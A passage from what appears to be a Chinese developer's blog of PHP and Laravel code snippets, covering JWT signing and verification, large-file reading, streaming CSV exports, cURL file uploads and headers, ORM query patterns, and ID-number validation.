class="title">base64UrlEncode</span>(<span class="params">string $input</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> str_replace(<span class="string">'='</span>, <span class="string">''</span>, strtr(base64_encode($input), <span class="string">'+/'</span>, <span class="string">'-_'</span>));</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * base64UrlEncode https://jwt.io/ 中base64UrlEncode解码实现</span></span><br><span class="line"><span class="comment">     * @param string $input 需要解码的字符串</span></span><br><span class="line"><span class="comment">     * @return bool|string</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    private <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">base64UrlDecode</span>(<span class="params">string $input</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $remainder = strlen($input) % <span class="number">4</span>;</span><br><span class="line">        <span class="keyword">if</span> ($remainder) &#123;</span><br><span class="line">            $addlen = <span class="number">4</span> - $remainder;</span><br><span class="line">            $input .= str_repeat(<span class="string">'='</span>, $addlen);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> base64_decode(strtr($input, <span class="string">'-_'</span>, <span class="string">'+/'</span>));</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * HMACSHA256签名  https://jwt.io/ 中HMACSHA256签名实现</span></span><br><span class="line"><span class="comment">     * @param string $input 为base64UrlEncode(header).".".base64UrlEncode(payload)</span></span><br><span class="line"><span class="comment">     * @param string $key</span></span><br><span class="line"><span class="comment">     * @param string $alg  算法方式</span></span><br><span class="line"><span class="comment">     * @return mixed</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    private <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">signature</span>(<span class="params">string $input, string $key, string $alg = <span class="string">'HS256'</span></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $alg_config=array(</span><br><span class="line">            <span class="string">'HS256'</span>=&gt;<span class="string">'sha256'</span></span><br><span class="line">        );</span><br><span class="line">        <span class="keyword">return</span> self::base64UrlEncode(hash_hmac($alg_config[$alg], $input, $key,<span class="literal">true</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">$token = JwtBase::getToken([<span class="string">'user_id'</span>=&gt;$user-&gt;id]);<span class="comment">//生成token https://learnku.com/articles/21951</span></span><br><span class="line"></span><br><span class="line">$header = $request-&gt;header(<span class="string">'Authorization'</span>);<span class="comment">//验证</span></span><br><span class="line">        $token = explode(<span class="string">' '</span>,$header);</span><br><span class="line">        <span class="keyword">if</span>(!$header || !$token)&#123;</span><br><span class="line">            <span class="keyword">return</span> $<span class="keyword">this</span>-&gt;json(<span class="number">419</span>,<span class="string">'登录信息已过期，重新登录'</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        $data = JwtBase::verifyToken($token[<span class="number">1</span>]);</span><br><span class="line">        <span class="keyword">if</span>(!$data)&#123;</span><br><span class="line">            <span class="keyword">return</span> $<span class="keyword">this</span>-&gt;json(<span class="number">419</span>,<span class="string">'登录信息已过期，重新登录'</span>);</span><br><span class="line">        &#125;</span><br></pre></td></tr></table></figure>
<h3 id="PHP-读取超大文件"><a href="#PHP-读取超大文件" class="headerlink" title="PHP 读取超大文件"></a>PHP 读取超大文件</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//www.itcodemonkey.com/article/11835.html</span></span><br><span class="line">随便找一个nginx的日志文件，哪怕只有<span class="number">10</span>KB，假设文件名是test.log，然后呢执行<span class="string">" cat test.log &gt;&gt; test.log "</span></span><br><span class="line">&lt;?php</span><br><span class="line">$begin = microtime( <span class="literal">true</span> );</span><br><span class="line">$fp = fopen( <span class="string">'./test.log'</span>, <span class="string">'r'</span> );</span><br><span class="line"><span class="keyword">while</span>( <span class="literal">false</span> !== ( $buffer = fgets( $fp, <span class="number">4096</span> ) ) )&#123;</span><br><span class="line">  <span class="comment">//echo $buffer.PHP_EOL;</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>( !feof( $fp ) )&#123;</span><br><span class="line">  <span class="keyword">throw</span> <span class="keyword">new</span> Exception(<span class="string">'... ...'</span>);</span><br><span class="line">&#125;</span><br><span class="line">fclose( $fp );</span><br><span class="line">$end = microtime( <span class="literal">true</span> );</span><br><span class="line">echo <span class="string">"cost : "</span>.( $end - $begin ).<span class="string">' sec'</span>.PHP_EOL;</span><br><span class="line"></span><br><span class="line">&lt;?php</span><br><span class="line">$begin = microtime( <span class="literal">true</span> );</span><br><span class="line">$fp = fopen( <span class="string">'./test.log'</span>, <span class="string">'r'</span> );</span><br><span class="line"><span class="keyword">while</span>( !feof( $fp ) )&#123;</span><br><span class="line">  <span class="comment">// 如果你要使用echo，那么，你会很惨烈...</span></span><br><span class="line">  fread( $fp, <span class="number">10240</span> );</span><br><span class="line">&#125;</span><br><span class="line">fclose( $fp );</span><br><span class="line">$end = microtime( <span class="literal">true</span> );</span><br><span class="line">echo <span class="string">"cost : "</span>.( $end - $begin ).<span class="string">' sec'</span>.PHP_EOL;</span><br></pre></td></tr></table></figure>
<h3 id="下载超大数据量的Excel文件"><a href="#下载超大数据量的Excel文件" class="headerlink" title="下载超大数据量的Excel文件"></a>下载超大数据量的Excel文件</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">   * 文章访问日志https://www.itcodemonkey.com/article/9909.html</span></span><br><span class="line"><span class="comment">   * 下载的日志文件通常很大, 所以先设置csv相关的Header头, 然后打开</span></span><br><span class="line"><span class="comment">   * PHP output流, 渐进式的往output流中写入数据, 写到一定量后将系统缓冲冲刷到响应中</span></span><br><span class="line"><span class="comment">   * 避免缓冲溢出</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  public <span class="function"><span class="keyword">function</span> <span class="title">articleAccessLog</span>(<span class="params">$timeStart, $timeEnd</span>)</span></span><br><span class="line"><span class="function">  </span>&#123;</span><br><span class="line">      set_time_limit(<span class="number">0</span>);</span><br><span class="line">      $columns = [</span><br><span class="line">          <span class="string">'文章ID'</span>, <span class="string">'文章标题'</span>, ......</span><br><span class="line">      ];</span><br><span class="line">      $csvFileName = <span class="string">'用户日志'</span> . $timeStart .<span class="string">'_'</span>. $timeEnd . <span class="string">'.xlsx'</span>;</span><br><span class="line">      <span class="comment">//设置好告诉浏览器要下载excel文件的headers</span></span><br><span class="line">      header(<span class="string">'Content-Description: File Transfer'</span>);</span><br><span class="line">      header(<span class="string">'Content-Type: application/vnd.ms-excel'</span>);</span><br><span class="line">      header(<span class="string">'Content-Disposition: attachment; filename="'</span>. $fileName .<span class="string">'"'</span>);</span><br><span class="line">      header(<span class="string">'Expires: 0'</span>);</span><br><span class="line">      header(<span class="string">'Cache-Control: must-revalidate'</span>);</span><br><span class="line">      header(<span class="string">'Pragma: public'</span>);</span><br><span class="line">      $fp = fopen(<span class="string">'php://output'</span>, <span class="string">'a'</span>);<span class="comment">//打开output流</span></span><br><span class="line">      mb_convert_variables(<span class="string">'GBK'</span>, <span class="string">'UTF-8'</span>, $columns);</span><br><span class="line">      fputcsv($fp, $columns);<span class="comment">//将数据格式化为CSV格式并写入到output流中</span></span><br><span class="line">      $accessNum = <span class="string">'1000000'</span><span class="comment">//从数据库获取总量，假设是一百万</span></span><br><span class="line">      $perSize = <span class="number">1000</span>;<span class="comment">//每次查询的条数</span></span><br><span class="line">      $pages   = ceil($accessNum / $perSize);</span><br><span class="line">      $lastId  = <span class="number">0</span>;</span><br><span class="line">      <span class="keyword">for</span>($i = <span class="number">1</span>; $i &lt;= $pages; $i++) &#123;</span><br><span class="line">          $accessLog = $logService-&gt;getArticleAccessLog($timeStart, $timeEnd, $lastId, $perSize);</span><br><span class="line">          foreach($accessLog <span class="keyword">as</span> $access) &#123;</span><br><span class="line">              $rowData = [</span><br><span class="line">                  ......<span class="comment">//每一行的数据</span></span><br><span class="line">              ];</span><br><span class="line">              mb_convert_variables(<span class="string">'GBK'</span>, <span class="string">'UTF-8'</span>, $rowData);</span><br><span class="line">              fputcsv($fp, $rowData);</span><br><span class="line">              $lastId = $access-&gt;id;</span><br><span class="line">          &#125;</span><br><span class="line">          unset($accessLog);<span class="comment">//释放变量的内存</span></span><br><span class="line">          <span class="comment">//刷新输出缓冲到浏览器</span></span><br><span class="line">          ob_flush();</span><br><span class="line">          flush();<span class="comment">//必须同时使用 ob_flush() 和flush() 函数来刷新输出缓冲。</span></span><br><span class="line">      &#125;</span><br><span class="line">      fclose($fp);</span><br><span class="line">      exit();</span><br><span class="line">  &#125;</span><br><span class="line">  SELECT columns FROM <span class="string">`table_name`</span> </span><br><span class="line">  WHERE <span class="string">`created_at`</span> &gt;= <span class="string">'time range start'</span> </span><br><span class="line">  AND <span class="string">`created_at`</span> &lt;= <span class="string">'time range end'</span> </span><br><span class="line">  AND  <span class="string">`id`</span> &lt; LastId </span><br><span class="line">  ORDER BY <span class="string">`id`</span> DESC </span><br><span class="line">  LIMIT num</span><br></pre></td></tr></table></figure>
<h3 id="判断一个图像的类型"><a href="#判断一个图像的类型" class="headerlink" title="判断一个图像的类型"></a>判断一个图像的类型</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (exif_imagetype(<span class="string">"image.gif"</span>) != IMAGETYPE_GIF) &#123;</span><br><span class="line">    echo <span class="string">"The picture is not a gif"</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="给定任意数，计算是2的几次方"><a href="#给定任意数，计算是2的几次方" class="headerlink" title="给定任意数，计算是2的几次方"></a>给定任意数，计算是2的几次方</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">power</span>(<span class="params">$number</span>)</span>&#123;</span><br><span class="line">    <span class="keyword">if</span> ($number &lt; <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (($number &amp; ($number - <span class="number">1</span>)) == <span class="number">0</span>) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 数学不好的,就看下面的方法https://blog.fastrun.cn/2018/07/21/1-31/</span></span><br><span class="line">        <span class="comment">// $number = decbin($number);</span></span><br><span class="line">        <span class="comment">// return (mb_strlen($number)-1);</span></span><br><span class="line">        <span class="comment">// 数学可以的就看下面的方法</span></span><br><span class="line">        <span class="keyword">return</span> floor(log($number,<span class="number">2</span>));</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="CURL-发送文件-1"><a href="#CURL-发送文件-1" class="headerlink" title="CURL 发送文件"></a>CURL 发送文件</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">&lt;form action=<span class="string">"/testFile"</span> method=<span class="string">"post"</span> enctype=<span class="string">"multipart/form-data"</span>&gt;</span><br><span class="line">    &lt;input type=<span class="string">"file"</span> name=<span class="string">"file"</span> /&gt;</span><br><span class="line">    &lt;input type=<span class="string">"submit"</span> /&gt;</span><br><span class="line">&lt;<span class="regexp">/form&gt;</span></span><br><span class="line"><span class="regexp">/</span><span class="regexp">/ form 提交</span></span><br><span class="line"><span class="regexp">Route::any("/</span>testFile<span class="string">","</span>TestController@testFile<span class="string">");</span></span><br><span class="line"><span class="string">// form action 接收</span></span><br><span class="line"><span class="string">Route::any("</span>/testLoadFile<span class="string">","</span>TestController@testLoadFile<span class="string">");</span></span><br><span class="line"><span class="string">public function testFile(Request $request)&#123;</span></span><br><span class="line"><span class="string">        $data = array(</span></span><br><span class="line"><span class="string">            'file'=&gt; new \CURLFile(realpath($request-&gt;file('file')-&gt;path())),</span></span><br><span class="line"><span class="string">        );</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        $ch = curl_init();</span></span><br><span class="line"><span class="string">        curl_setopt($ch, CURLOPT_URL,"</span>/testLoadFile<span class="string">");//此处以当前服务器为接收地址</span></span><br><span class="line"><span class="string">        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);</span></span><br><span class="line"><span class="string">        curl_setopt($ch, CURLOPT_TIMEOUT,10);//设置最长等待时间</span></span><br><span class="line"><span class="string">        curl_setopt($ch, CURLOPT_POST, 1);//post提交</span></span><br><span class="line"><span class="string">        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        $data = curl_exec($ch);//执行</span></span><br><span class="line"><span class="string">        if(curl_errno($ch))&#123;</span></span><br><span class="line"><span class="string">            return curl_error($ch);</span></span><br><span class="line"><span class="string">        &#125;</span></span><br><span class="line"><span class="string">        curl_close($ch);//释放</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        return json_encode($data);</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    public function testLoadFile(Request $request)&#123;</span></span><br><span class="line"><span class="string">            if ($request-&gt;hasFile('file')) &#123;</span></span><br><span class="line"><span class="string">                if ($request-&gt;file('file')-&gt;isValid())&#123;</span></span><br><span class="line"><span class="string">                    // 上传成功</span></span><br><span class="line"><span class="string">                    // 随机名字 . 后缀</span></span><br><span class="line"><span class="string">                    $fileName = "</span>other/<span class="string">".Date("</span>YmdHis<span class="string">").substr(md5(time()),5,15)."</span>.<span class="string">".$request-&gt;file("</span>file<span class="string">")-&gt;extension();// 需要 开启php_fileinfo 扩展 否则会报错</span></span><br><span class="line"><span class="string">                    // 获取临时上传的路径（如果不存在本地，则方法调用完之后，会被删除）</span></span><br><span class="line"><span class="string">                    //$fileUrl = $request-&gt;file('file')-&gt;path();</span></span><br><span class="line"><span class="string">                    // 可选存储在本地</span></span><br><span class="line"><span class="string">                    $fileUrl = $request-&gt;file("</span>file<span class="string">")-&gt;move(__DIR__."</span>/<span class="string">",$fileName);</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">                    return ($fileUrl);</span></span><br><span class="line"><span class="string">                &#125;</span></span><br><span class="line"><span class="string">            &#125;</span></span><br><span class="line"><span class="string">            return json_encode([]);</span></span><br><span class="line"><span class="string">        &#125;</span></span><br></pre></td></tr></table></figure>
<h3 id="流的方法导出-Excel"><a href="#流的方法导出-Excel" class="headerlink" title="流的方法导出 Excel"></a>流的方法导出 Excel</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line">public <span class="function"><span class="keyword">function</span> <span class="title">export</span>(<span class="params">$params</span>)</span></span><br><span class="line"><span class="function">       </span>&#123;</span><br><span class="line">           set_time_limit(<span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">           $columns = [<span class="string">'字段名'</span>];</span><br><span class="line"></span><br><span class="line">           $fileName = <span class="string">'GPS管理明细'</span> . <span class="string">'.csv'</span>;</span><br><span class="line">           <span class="comment">//设置好告诉浏览器要下载excel文件的headers https://learnku.com/articles/17829</span></span><br><span class="line">           header(<span class="string">'Content-Description: File Transfer'</span>);</span><br><span class="line">           header(<span class="string">'Content-Type: application/vnd.ms-excel'</span>);</span><br><span class="line">           header(<span class="string">'Content-Disposition: attachment; filename="'</span>. $fileName .<span class="string">'"'</span>);</span><br><span class="line">           header(<span class="string">'Expires: 0'</span>);</span><br><span class="line">           header(<span class="string">'Cache-Control: must-revalidate'</span>);</span><br><span class="line">           header(<span class="string">'Pragma: public'</span>);</span><br><span class="line"></span><br><span class="line">           $fp = fopen(<span class="string">'php://output'</span>, <span class="string">'a'</span>);<span class="comment">//打开output流</span></span><br><span class="line">           mb_convert_variables(<span class="string">'GBK'</span>, <span class="string">'UTF-8'</span>, $columns);</span><br><span class="line">           fputcsv($fp, $columns);     <span class="comment">//将数据格式化为CSV格式并写入到output流中</span></span><br><span class="line"></span><br><span class="line">           $num = $<span class="keyword">this</span>-&gt;getExportNum($params);</span><br><span class="line">           $perSize = <span class="number">2000</span>;<span class="comment">//每次查询的条数</span></span><br><span class="line">           $pages   = ceil($num / $perSize);</span><br><span class="line"></span><br><span class="line">           <span class="keyword">for</span>($i = <span class="number">1</span>; $i &lt;= $pages; $i++) &#123;</span><br><span class="line">               $list = $<span class="keyword">this</span>-&gt;getUnitExportData($params, $i, $perSize);</span><br><span class="line"></span><br><span class="line">               foreach($list <span class="keyword">as</span> $item) &#123;</span><br><span class="line">                   $rowData[] = $<span class="keyword">this</span>-&gt;switchDeviceMakerToDesc($item[<span class="string">'device_maker'</span>]);</span><br><span class="line">                   .</span><br><span class="line">                   .</span><br><span class="line">                   .</span><br><span class="line">                   mb_convert_variables(<span class="string">'GBK'</span>, <span class="string">'UTF-8'</span>, $rowData);</span><br><span class="line">                   fputcsv($fp, $rowData);</span><br><span class="line">                   unset($rowData);</span><br><span class="line">               &#125;</span><br><span class="line">               unset($accessLog);<span class="comment">//释放变量的内存</span></span><br><span class="line"></span><br><span class="line">               ob_flush();     <span class="comment">//刷新输出缓冲到浏览器</span></span><br><span class="line">               flush();        <span class="comment">//必须同时使用 ob_flush() 和flush() 函数来刷新输出缓冲。</span></span><br><span class="line">           &#125;</span><br><span class="line">           fclose($fp);</span><br><span class="line">           exit();</span><br><span class="line">       &#125;</span><br></pre></td></tr></table></figure>
<h3 id="laravel-orm"><a href="#laravel-orm" class="headerlink" title="laravel orm"></a>laravel orm</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">取出一组热门作者及他们最近发表的<span class="number">3</span>篇文章</span><br><span class="line">$users = \App\Models\User::<span class="keyword">with</span>([<span class="string">'posts'</span> =&gt; <span class="function"><span class="keyword">function</span> (<span class="params">$query</span>) </span>&#123;</span><br><span class="line">    $query-&gt;limit(<span class="number">3</span>);</span><br><span class="line">&#125;])-&gt;limit(<span class="number">10</span>)-&gt;get();</span><br><span class="line">select</span><br><span class="line">  *</span><br><span class="line"><span class="keyword">from</span></span><br><span class="line">  <span class="string">`posts`</span></span><br><span class="line">where</span><br><span class="line">  <span class="string">`posts`</span>.<span class="string">`user_id`</span> <span class="keyword">in</span> (<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="number">6</span>, <span class="number">7</span>, <span class="number">8</span>, <span class="number">9</span>, <span class="number">10</span>)</span><br><span class="line">limit</span><br><span class="line">  <span class="number">3</span></span><br><span class="line">  </span><br><span class="line">  $users = \App\Models\User::limit(<span class="number">10</span>)-&gt;get();</span><br><span class="line">  </span><br><span class="line">  $users = $users-&gt;map(<span class="function"><span class="keyword">function</span> (<span class="params">$user</span>) </span>&#123;</span><br><span class="line">      <span class="comment">//可以考虑$user-&gt;id缓存,在保证了速度的同时避免大面积的缓存重建</span></span><br><span class="line">      $user-&gt;posts = $user-&gt;posts()-&gt;limit(<span class="number">3</span>)-&gt;get();</span><br><span class="line">  </span><br><span class="line">      <span class="keyword">return</span> $user;</span><br><span class="line">  &#125;);</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">return</span> $users;</span><br><span class="line">  SELECT</span><br><span class="line">      posts.*,</span><br><span class="line">      @number := IF (@current_user_id = <span class="string">`user_id`</span>, @number + <span class="number">1</span>, <span class="number">1</span>) AS number,</span><br><span class="line">      @current_user_id := <span class="string">`user_id`</span></span><br><span class="line">  FROM</span><br><span class="line">      (select * <span class="keyword">from</span> <span class="string">`posts`</span> where <span class="string">`posts`</span>.<span class="string">`user_id`</span> IN (<span class="number">572</span>, <span class="number">822</span>, <span class="number">911</span>, <span class="number">103</span>, <span class="number">234</span>, <span class="number">11</span>, <span class="number">999</span>, <span class="number">333</span>, <span class="number">121</span>, <span class="number">122</span>) order by <span class="string">`posts`</span>.<span class="string">`user_id`</span> ASC) AS posts</span><br><span class="line">  HAVING</span><br><span class="line">      number &lt;= <span class="number">3</span></span><br><span class="line">      # User.php</span><br><span class="line">      </span><br><span class="line">      public <span class="function"><span class="keyword">function</span> <span class="title">latestPosts</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">      </span>&#123;</span><br><span class="line">          <span class="keyword">return</span> $<span class="keyword">this</span>-&gt;belongsToMany(Post::<span class="class"><span class="keyword">class</span>, '<span class="title">user_latest_post</span>')</span></span><br><span class="line"><span class="class">      &#125;</span></span><br><span class="line">      使用https://learnku.com/articles/24787#topnav </span><br><span class="line">      </span><br><span class="line">      $users = \App\Models\User::<span class="keyword">with</span>([<span class="string">'latestPosts'</span>])-&gt;limit(<span class="number">10</span>)-&gt;get();</span><br></pre></td></tr></table></figure>
<h3 id="curl时设置Expect"><a href="#curl时设置Expect" class="headerlink" title="curl时设置Expect"></a>curl时设置Expect</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">在不设置 Expect 头信息使用 curl 发送 POST 请求时，如果 POST 数据大于 <span class="number">1</span>kb，curl 默认行为 如下：</span><br><span class="line">https:<span class="comment">//www.fanhaobai.com/2017/08/curl-expect-continue.html</span></span><br><span class="line">先追加一个Expect: <span class="number">100</span>-<span class="keyword">continue</span>请求头信息，发送这个不包含 POST 数据的请求；</span><br><span class="line">如果服务器返回的响应头信息中包含Expect: <span class="number">100</span>-<span class="keyword">continue</span>，则表示 Server 愿意接受数据，这时才 POST 真正数据给 Server；</span><br><span class="line"><span class="comment">// qq第三方api</span></span><br><span class="line">curl_setopt($ch, CURLOPT_HTTPHEADER, array(<span class="string">'Expect:'</span>));</span><br><span class="line"></span><br><span class="line"><span class="comment">// guzzle的curl Adapter</span></span><br><span class="line"><span class="keyword">if</span> (!$request-&gt;hasHeader(<span class="string">'Expect'</span>)) &#123;</span><br><span class="line">    $conf[CURLOPT_HTTPHEADER][] = <span class="string">'Expect:'</span>;</span><br><span class="line">&#125;</span><br><span class="line">再次 tcpdump 抓包，发现使用 curl 发送超过 <span class="number">1</span>kb 的 POST 数据时，也并未出现 <span class="number">100</span>-<span class="keyword">continue</span> 的 HTTP 请求。</span><br></pre></td></tr></table></figure>
<h3 id="身份证的编码规则"><a href="#身份证的编码规则" class="headerlink" title="身份证的编码规则"></a>身份证的编码规则</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> ID_15_PREG = <span class="string">'/^[1-9]\d&#123;7&#125;(0[1-9]|1[0-2])([0-2][1-9]|[1-2]0|31)\d&#123;3&#125;$/'</span>;</span><br><span class="line"><span class="comment">//https://www.fanhaobai.com/2017/08/id-card.html</span></span><br><span class="line">public <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">validate</span>(<span class="params">$id</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (!is_string($id) || empty($id)) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (strlen($id) == <span class="number">15</span> &amp;&amp; preg_match(<span class="keyword">static</span>::ID_15_PREG, $id)) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br><span 